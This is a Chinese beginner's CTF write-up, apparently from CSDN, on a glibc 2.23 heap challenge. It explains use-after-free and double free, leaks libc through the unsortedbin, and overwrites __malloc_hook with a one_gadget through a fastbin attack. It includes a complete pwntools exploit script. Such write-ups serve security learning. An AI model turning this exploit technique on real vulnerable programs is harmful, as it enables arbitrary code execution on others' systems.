ctfpwn入门第一次学堆

本文详细介绍了在CTF挑战中利用UAF漏洞进行堆溢出攻击的过程,包括单向链表(fashbin)和双向链表(unsortedbin)的理解,以及如何通过doublefree漏洞、fastbin攻击和malloc_hook的利用来执行任意代码。
摘要由CSDN通过智能技术生成

ctf——pwn堆的基础知识_ctf pwn 中最通俗易懂的堆入坑指南-CSDN博客

先通过一篇博客去大概的了解一下堆的前置基础知识吧,我做了一道2.23版本的堆题,在诸多版本中算是比较简单的一个题了。

主要涉及到了fashbin(单向链表)(0x20--0x80)和unsortedbin(双向链表)(>0x80)

我是利用了uaf漏洞去打这道题

UAF漏洞全称为use after free ,即利用已经被free掉的堆块被再次利用,该漏洞的存在是因为程序编写者在free堆块部分没有将该堆块的fd指针改为0,进而导致该堆块可以被申请回来,

那么被free的堆块有下面三种情况:

1. 堆块free后,其对应指针被设置为NULL,即再次被调用该堆块时就会发生错误;

2.堆块free后,对应指针没有被设置为NULL,即还可以调用会该堆块,当我们申请一个比该堆块小于等于的size时。

3.内存块被free后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。

而我们一般利用的UAF漏洞是2.3情况,同时这时候指针被称为dangling pointer。

利用手法是double free

Double Free其实就是同一个指针free两次。虽然一般把它叫做double free。其实只要是free一个指向堆内存的指针都有可能产生可以利用的漏洞。

Double free漏洞原理: free函数在释放堆块时,会通过隐式链表判断相邻前、后堆块是否为空闲堆块;如果堆块为空闲就会进行合并,然后利用Unlink机制将该空闲堆块从Unsorted bin中取下。如果用户精心构造的假堆块被Unlink,很容易导致一次固定地址写,然后转换为任意地址读写,从而控制程序的执行。

Double Free浅析(泄露堆地址的一种方法) - 简书

主要的原理可以参考上面的博客,这里就不过多的去解释了。

直接看题吧

64位堆菜单题(2.23)

第一步是利用patchelf工具去配置题目的测试环境

下载工具的指令,注意下载位置为根目录

sudo apt install patchelf
git clone https://github.com/matrix1001/glibc-all-in-one.git
cd glibc-all-in-one
python3 update_list

 利用方法

patchelf --replace-needed libc.so.6 /glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so ./pwn


patchelf --set-interpreter /glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./pwn

 审计代码

menu函数

add note 

del  note

 print note

审计代码发现输入4程序会退出,输入1程序会申请一个堆块,大小和内容由我们输入

输入2会释放一个堆块,但是释放之后堆块的fd指针并不为null

输入3则会打印对应序号堆块里面的内容

在写脚本的时候我们可以利用def定义一些函数来减少我们脚本的长度

def add(size,concent):
  p.recvuntil('Your choice :')
  p.send(str(1))
  p.recvuntil('Note size :')
  p.send(str(size))
  p.recvuntil('Content :')
  p.send(concent)
 
     
     
def free(i):
  p.recvuntil('Your choice :')
  p.send(str(2))
  p.recvuntil('Index :')
  p.send(str(i))
  
  
  
def show(i):
  p.recvuntil('Your choice :')
  p.send(str(3))
  p.recvuntil('Index :')
  p.send(str(i))

我们先申请三个堆块

  
add(0x68,b'a')#0
add(0x80,b'a')#1
add(0x68,b'a')#2

 可以看到我们是成功申请到了三个堆块,一号堆块大小是0x90,free之后会位于unsortedbin

我们free(1)之后发现

 1号堆块的fd和bk存储着一个libc地址,我们可以通过show(1)打印出该地址

从而计算得出libc基址

接下来我们利用fastbin

free(0)
free(2)
free(0)

free了三个大小为0x70的堆块,但是0号堆块被free了两次

 0--》1--》0

接下来我们在申请回来一个同样大小的堆块就可以修改fd指针的内容,这里我们将fd的内容修改为malloc_hook函数的地址

add(0x68,p64(malloc_hook-0x23))

fastbin attack攻击中关于 malloc__hook_libc2.23 malloc hook-CSDN博客

此时fastbin里

我们只需要在申请两个同样大小的堆块就可以使3号位置变成一号

 接下来在申请一个相同大小的堆块并输入0x13个a作为垃圾数据填充到malloc hook的起始位置,使其fd存储one_gadget的地址

add(0x68,b'a'*0x13+p64(one_gadget))

最后在申请一个任意大小的堆块出来,调用malloc函数检测malloc—hook里面有one—gadget的地址并执行one—gadget

 完整exp:

from pwn import*
context(log_level = 'debug',arch = 'amd64')
p=process('./test2')
elf=ELF('./test2')
libc=ELF('/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
malloc_hook = libc.sym['__malloc_hook']
def add(size,concent):
  p.recvuntil('Your choice :')
  p.send(str(1))
  p.recvuntil('Note size :')
  p.send(str(size))
  p.recvuntil('Content :')
  p.send(concent)
 
     
     
def free(i):
  p.recvuntil('Your choice :')
  p.send(str(2))
  p.recvuntil('Index :')
  p.send(str(i))
  
  
  
def show(i):
  p.recvuntil('Your choice :')
  p.send(str(3))
  p.recvuntil('Index :')
  p.send(str(i))
   
   
add(0x68,b'a')
add(0x80,b'a')
add(0x68,b'a')

free(1)
show(1)

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-3951480
print(hex(libc_base))
malloc_hook=libc_base+malloc_hook 
print(hex(malloc_hook))
one_gadget=0xf1247+libc_base
free(0)
free(2)
free(0)

add(0x68,p64(malloc_hook-0x23))
gdb.attach(p)
add(0x68,b'a')
add(0x68,b'a')

add(0x68,b'a'*0x13+p64(one_gadget))
p.recvuntil('Your choice :')
p.send(str(1))
p.recvuntil('Note size :')
p.send(str(10))
p.interactive()

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值